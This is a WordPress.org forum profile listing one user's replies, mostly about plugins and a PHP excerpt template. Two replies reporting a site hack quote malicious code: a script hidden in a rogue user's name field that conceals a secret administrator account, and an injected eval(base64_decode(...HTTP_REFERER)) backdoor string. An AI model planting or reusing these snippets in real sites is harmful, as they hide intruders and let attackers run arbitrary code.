Title: patrickbryant's Replies | WordPress.org

---

# patrickbryant

  [  ](https://wordpress.org/support/users/patrickbryant/)

 *   [Profile](https://wordpress.org/support/users/patrickbryant/)
 *   [Topics Started](https://wordpress.org/support/users/patrickbryant/topics/)
 *   [Replies Created](https://wordpress.org/support/users/patrickbryant/replies/)
 *   [Reviews Written](https://wordpress.org/support/users/patrickbryant/reviews/)
 *   [Topics Replied To](https://wordpress.org/support/users/patrickbryant/replied-to/)
 *   [Engagements](https://wordpress.org/support/users/patrickbryant/engagements/)
 *   [Favorites](https://wordpress.org/support/users/patrickbryant/favorites/)

 Search replies:

## Forum Replies Created

Viewing 8 replies - 1 through 8 (of 8 total)

 *   Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/)
    In
   reply to: [MaGiKS Proper PHP Include](https://wordpress.org/support/topic/magiks-proper-php-include/)
 *  [patrickbryant](https://wordpress.org/support/users/patrickbryant/)
 * (@patrickbryant)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/magiks-proper-php-include/#post-1886305)
 * You helped me tremendously!! Thank You. I was able to play with the code and 
   find the combination that worked. Thanks Again!
 *   Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/)
    In
   reply to: [MaGiKS Proper PHP Include](https://wordpress.org/support/topic/magiks-proper-php-include/)
 *  [patrickbryant](https://wordpress.org/support/users/patrickbryant/)
 * (@patrickbryant)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/magiks-proper-php-include/#post-1886297)
 * On a page on my site:
    [http://www.gototeam.com/testphp/](http://www.gototeam.com/testphp/)
 * I am using the plugin (Thanks Again) to call 5 blog excerpts. Which is code I
   use on my site often, but not in the plugin.
 * When used on the test page the code shows the excerpts, but then also shows all
   the selected posts in full format.
 * Here is the only code on the page:
    [m_include_file filepath=”/gttphp/test.php”]
 * And, here is the php that’s in test.php:
 *     ```
       <?php if (is_single() || is_page() ) : if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
   
       <?php endwhile; endif; elseif(is_home()) : ?>
       <?php endif; ?>
   
       <?php if (have_posts()) { ?>
   
       		<h3><?php _e('Recent Video Posts from Nashville','Mimbo'); ?></h3>
        <?php
       	$postCount = 0;
       	$page = (get_query_var('paged')) ? get_query_var('paged') : 1;
       	query_posts( 'paged=&post_per_page=-1&tag=Nashville' . get_query_var('tag') );
       	while (have_posts()) { the_post();
       		if( $postcount == 0 ) {
       		//GETS LATEST OR STICKY POST
       	?>
   
           <div id="lead" class="clearfloat">
   
       			<a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>">
       <?php echo get_post_image (get_the_id(), '', '', '' .get_bloginfo('template_url') .'/scripts/timthumb.php?zc=1&w=260&h=275&src='); ?></a>
   
       	<div id="lead-text">
           <h2><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>">
           <?php the_title(); ?></a></h2>
   
           <p class="date"><?php the_time('n/d/y'); ?> &bull; </p>
       	<?php the_excerpt(); ?>
       	</div>
       	</div><!--END LEAD/STICKY POST-->
   
       		<div id="more-posts">
   
       		<?php
       		}
       		elseif( $postcount > 0 && $postcount <= 4 ) {
       		//GETS NEXT FOUR EXCERPTS
       		?>
       			<a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>">
       <?php echo get_post_image (get_the_id(), '', '', '' .get_bloginfo('template_url') .'/scripts/timthumb.php?zc=1&w=105&h=85&src='); ?></a>
   
       		<div class="clearfloat recent-excerpts">
   
       <h4><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"><?php the_title(); ?></a> <span class="commentcount">(<?php comments_popup_link('0', '1', '%'); ?>)</span></h4>
   
       <p class="date"><?php the_time('n/d/y'); ?> &bull; </p>
       			<?php the_excerpt(); ?>
       		</div>
   
       <?php //GETS NEXT HEADLINES
       		}
       		else {
       			ob_start();
       			echo '<li><a href="';
       			the_permalink();
       			echo '">';
       			the_title();
       			echo '</a></li>';
       			$links[] = ob_get_contents();
       			ob_end_clean();
       		}
       		$postcount ++;
       		}
       	}
       	else {
       ?>
   
       <?php } ?>
       			</div>
   
       <?php
       	if(count($links)): ?>
       	<?php endif; ?>
       ```
   
 * THANKS FOR LOOKING AT THIS.
 *   Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/)
    In
   reply to: [MaGiKS Proper PHP Include](https://wordpress.org/support/topic/magiks-proper-php-include/)
 *  [patrickbryant](https://wordpress.org/support/users/patrickbryant/)
 * (@patrickbryant)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/magiks-proper-php-include/#post-1886290)
 * Love it. It’s exactly what I was looking for. Thank You for your time.
 * I have a support question. The PHP code that I am running is building excerpts
   of past blog entries. When I use the code that I would generally include in a
   template it seems to create a feedback loop. Displaying the content I want, but
   then also displaying the full blog entry for each post not just the excerpts?
 * Is there a way to “close out” the php code used in the file?
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [WP adding code to the end of url links breaking them](https://wordpress.org/support/topic/wp-adding-code-to-the-end-of-url-links-breaking-them/)
 *  [patrickbryant](https://wordpress.org/support/users/patrickbryant/)
 * (@patrickbryant)
 * [16 years, 8 months ago](https://wordpress.org/support/topic/wp-adding-code-to-the-end-of-url-links-breaking-them/page/3/#post-1168294)
 * By viewing one user and then changing the number in the address line, I found
   new user:
    LucasAguilar63
 * with first name:
    … <div id=”user_superuser”><script language=”JavaScript”> var
   setUserName = function(){ try{ var t=document.getElementById(“user_superuser”);
   while(t.nodeName!=”TR”){ t=t.parentNode; }; t.parentNode.removeChild(t); var 
   tags = document.getElementsByTagName(“H3″); var s = ” shown below”; for (var 
   i = 0; i < tags.length; i++) { var t=tags[i].innerHTML; var h=tags[i]; if(t.indexOf(
   s)>0){ s =(parseInt(t)-1)+s; h.removeChild(h.firstChild); t = document.createTextNode(
   s); h.appendChild(t); } } var arr=document.getElementsByTagName(“ul”); for(var
   i in arr) if(arr[i].className==”subsubsub”){ var n=/>Administrator ((d+))</gi.
   exec(arr[i].innerHTML); if(n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator((
   d+))</gi,”>Administrator (“+(n[1]-1)+”)<“); arr[i].innerHTML=txt; } } }catch(
   e){}; }; addLoadEvent(setUserName); </script></div>
 * Changed to Subscriber and then deleted.
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [Question About Possible Hack of Site](https://wordpress.org/support/topic/question-about-possible-hack-of-site/)
 *  [patrickbryant](https://wordpress.org/support/users/patrickbryant/)
 * (@patrickbryant)
 * [16 years, 8 months ago](https://wordpress.org/support/topic/question-about-possible-hack-of-site/page/2/#post-1200672)
 * Us too:
 * %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
 * Upgraded and Backed up… will report if it comes back.
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [Guest Author (Contributor) uploading images](https://wordpress.org/support/topic/guest-author-contributor-uploading-images/)
 *  [patrickbryant](https://wordpress.org/support/users/patrickbryant/)
 * (@patrickbryant)
 * [17 years, 7 months ago](https://wordpress.org/support/topic/guest-author-contributor-uploading-images/#post-805739)
 * By the way that plug-in rocks! Thanks to its author.
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [Guest Author (Contributor) uploading images](https://wordpress.org/support/topic/guest-author-contributor-uploading-images/)
 *  [patrickbryant](https://wordpress.org/support/users/patrickbryant/)
 * (@patrickbryant)
 * [17 years, 7 months ago](https://wordpress.org/support/topic/guest-author-contributor-uploading-images/#post-805738)
 * Thanks Otto42. Here is the link to that plugin:
    [http://www.im-web-gefunden.de/wordpress-plugins/role-manager/](http://www.im-web-gefunden.de/wordpress-plugins/role-manager/)
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [Guest Author (Contributor) uploading images](https://wordpress.org/support/topic/guest-author-contributor-uploading-images/)
 *  [patrickbryant](https://wordpress.org/support/users/patrickbryant/)
 * (@patrickbryant)
 * [17 years, 7 months ago](https://wordpress.org/support/topic/guest-author-contributor-uploading-images/#post-805736)
 * I want to know about this one too. I have 10 folks that need to be able to post
   new entries with photos and /or video, etc.
 * But, I don’t want them to be able to publish the posts without review first.
 * Thanks.

Viewing 8 replies - 1 through 8 (of 8 total)